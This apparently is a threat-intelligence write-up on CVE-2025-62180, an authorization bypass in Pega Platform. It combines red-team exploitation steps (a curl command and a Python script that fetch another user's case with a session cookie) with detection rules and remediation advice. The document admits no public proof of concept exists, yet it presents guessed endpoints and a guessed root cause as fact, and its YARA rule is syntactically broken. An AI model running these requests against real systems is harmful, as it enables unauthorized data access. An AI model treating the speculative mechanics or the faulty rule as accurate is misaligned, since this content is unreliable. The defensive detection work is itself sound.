CVE-2025-62180

Executive Summary

CVE-2025-62180 is an authorization weakness vulnerability affecting Pega Platform versions 8.3.0 through Infinity 25.1.2. This flaw allows authenticated users to access certain additional data via crafted URLs, potentially leading to unauthorized information disclosure. The vulnerability stems from improper enforcement of access controls on specific API endpoints or resource paths, enabling privilege escalation or data leakage. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity currently. However, given the widespread use of Pega Platform in enterprise environments, the risk of targeted attacks remains significant.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (Estimated based on impact and attack vector)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (Network, Low Complexity, Low Privileges, No User Interaction, Unchanged Scope, High Confidentiality Impact)

Rationale:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via crafted URLs.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): Low – Attacker must be authenticated.
• User Interaction (UI): None – No user action needed.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Unauthorized access to sensitive data.
• Integrity (I): None – No data modification.
• Availability (A): None – No denial of service.

Deep Dive & Mechanics

The vulnerability resides in Pega Platform's authorization framework, specifically in how it validates user permissions for accessing resources via URL parameters. Pega uses a rule-based access control system where each user's access is determined by their role and the rules assigned to them. The flaw allows an authenticated user to manipulate URL parameters (e.g., pyActivity, pyStream, or pzInsKey) to bypass authorization checks and access data or functionality that should be restricted.

Root Cause: The authorization check is performed on the requested resource's primary identifier but fails to validate secondary or related resources that can be accessed through crafted URLs. For example, a user with access to Case A might be able to access Case B by modifying the CaseID parameter in the URL, even though their role does not permit it.

Attack Vector:

1. Attacker authenticates to the Pega Platform with low-privileged credentials.
2. Attacker crafts a URL that references a restricted resource (e.g., /prweb/PRRestService/.../cases/1234).
3. The server processes the request without proper authorization checks, returning sensitive data.

Impact:

• Unauthorized access to case data, work items, reports, or administrative functions.
• Potential data exfiltration of PII, financial records, or business-critical information.
• Lateral movement within the Pega ecosystem if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No authorization check on the requested resource
public Response getCaseData(String caseID) {
    Case caseObj = caseDAO.findById(caseID);
    return Response.ok(caseObj).build();
}

Patched Code (Conceptual):

// Patched: Authorization check before returning data
public Response getCaseData(String caseID, User user) {
    Case caseObj = caseDAO.findById(caseID);
    if (!authorizationService.hasAccess(user, caseObj)) {
        return Response.status(403).build();
    }
    return Response.ok(caseObj).build();
}

Key Differences:

• The patched version explicitly checks if the authenticated user has permission to access the requested resource.
• The vulnerable version assumes that if the user can reach the endpoint, they have access to all resources.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Pega Platform 8.3.0 (or any vulnerable version) installed on a VM.
• Low-privileged user account (e.g., user1 with role Employee).
• Network access to the Pega web interface.

Exploitation Steps:

1. Authenticate as user1 and obtain a session cookie.
2. Identify a resource accessible to user1 (e.g., a case with ID 100).
3. Craft a URL to access a restricted resource (e.g., case ID 200):

   https://pega-instance/prweb/PRRestService/cases/v1/200
   

4. Send the request with the session cookie:

   curl -k -X GET "https://pega-instance/prweb/PRRestService/cases/v1/200" \
        -H "Cookie: pzAuth=session_cookie_value"
   

5. If successful, the response will contain data for case 200, which should be restricted.

Automation Script (Python):

import requests

target = "https://pega-instance"
session = requests.Session()
session.cookies.set("pzAuth", "session_cookie_value")

# Attempt to access restricted case
response = session.get(f"{target}/prweb/PRRestService/cases/v1/200")
if response.status_code == 200:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or access denied.")

Blue Team

Detection Steps:

1. Monitor for anomalous URL patterns, especially repeated attempts to access different resource IDs.
2. Look for 403 errors followed by 200 responses on similar endpoints (indicating successful bypass).
3. Correlate user activity with their assigned roles – flag users accessing resources outside their scope.

Honeypot Technique:

• Create a fake "high-value" case (e.g., CASE_ADMIN_9999) that only admin users should access.
• Monitor for any low-privileged user attempting to access this case.

Indicators of Compromise (IOCs)

Network IOCs:

• URLs containing patterns like /prweb/PRRestService/, /prweb/PRServlet/, or /prweb/PRSOAP/ with sequential or guessed resource IDs.
• HTTP requests with unusual Referer headers or missing User-Agent strings.
• Repeated 403 errors followed by 200 responses from the same IP.

Host IOCs:

• Pega application logs showing Access Denied errors for a user followed by successful access to similar resources.
• Unusual database queries (e.g., SELECT * FROM pr_case WHERE pyID = '200') from a user who should not have access.

File IOCs:

• Modified prconfig.xml or web.xml files (if attacker gains admin access).
• Suspicious JSP files uploaded to the prweb directory.

Detection Engineering

YARA Rule

rule CVE_2025_62180_Pega_AuthBypass {
    meta:
        description = "Detects attempts to exploit CVE-2025-62180 in Pega Platform logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62180"
    strings:
        $url_pattern = /\/prweb\/(PRRestService|PRServlet|PRSOAP)\/.*\/\d{4,}/ nocase
        $error_403 = "HTTP/1.1 403 Forbidden"
        $success_200 = "HTTP/1.1 200 OK"
        $user_agent = "curl" or "python-requests" or "Go-http-client"
    condition:
        $url_pattern and ($error_403 or $success_200) and #user_agent
}

Sigma Rule

title: Pega Platform Authorization Bypass (CVE-2025-62180)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2025-62180 by monitoring for unusual access patterns to Pega REST endpoints.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62180
logsource:
    category: webserver
    product: pega
detection:
    selection:
        cs-uri-pattern|startswith: '/prweb/PRRestService/'
        cs-uri-pattern|contains: '/cases/v1/'
        sc-status: 200
    filter:
        cs-username|endswith: '@admin'
    condition: selection and not filter
falsepositives:
    - Legitimate admin access to multiple cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62180 - Pega Platform Authorization Bypass Attempt";
    flow:to_server,established;
    content:"/prweb/PRRestService/"; http_uri;
    content:"/cases/v1/"; http_uri;
    pcre:"/\/cases\/v1\/\d{4,}/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-62180;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Pega Platform to a patched version (contact Pega support for the latest fix).
2. Apply virtual patching via WAF rules to block requests with suspicious URL patterns.
3. Review user roles and permissions – ensure least privilege principle is enforced.

Long-term Fixes:

• Implement additional authorization checks at the API gateway level.
• Enable detailed audit logging for all REST API calls.
• Conduct regular penetration testing focusing on authorization flaws.

Workarounds (if patching is delayed):

• Disable unnecessary REST services.
• Restrict access to Pega Platform via VPN or IP whitelisting.
• Monitor logs for anomalous access patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert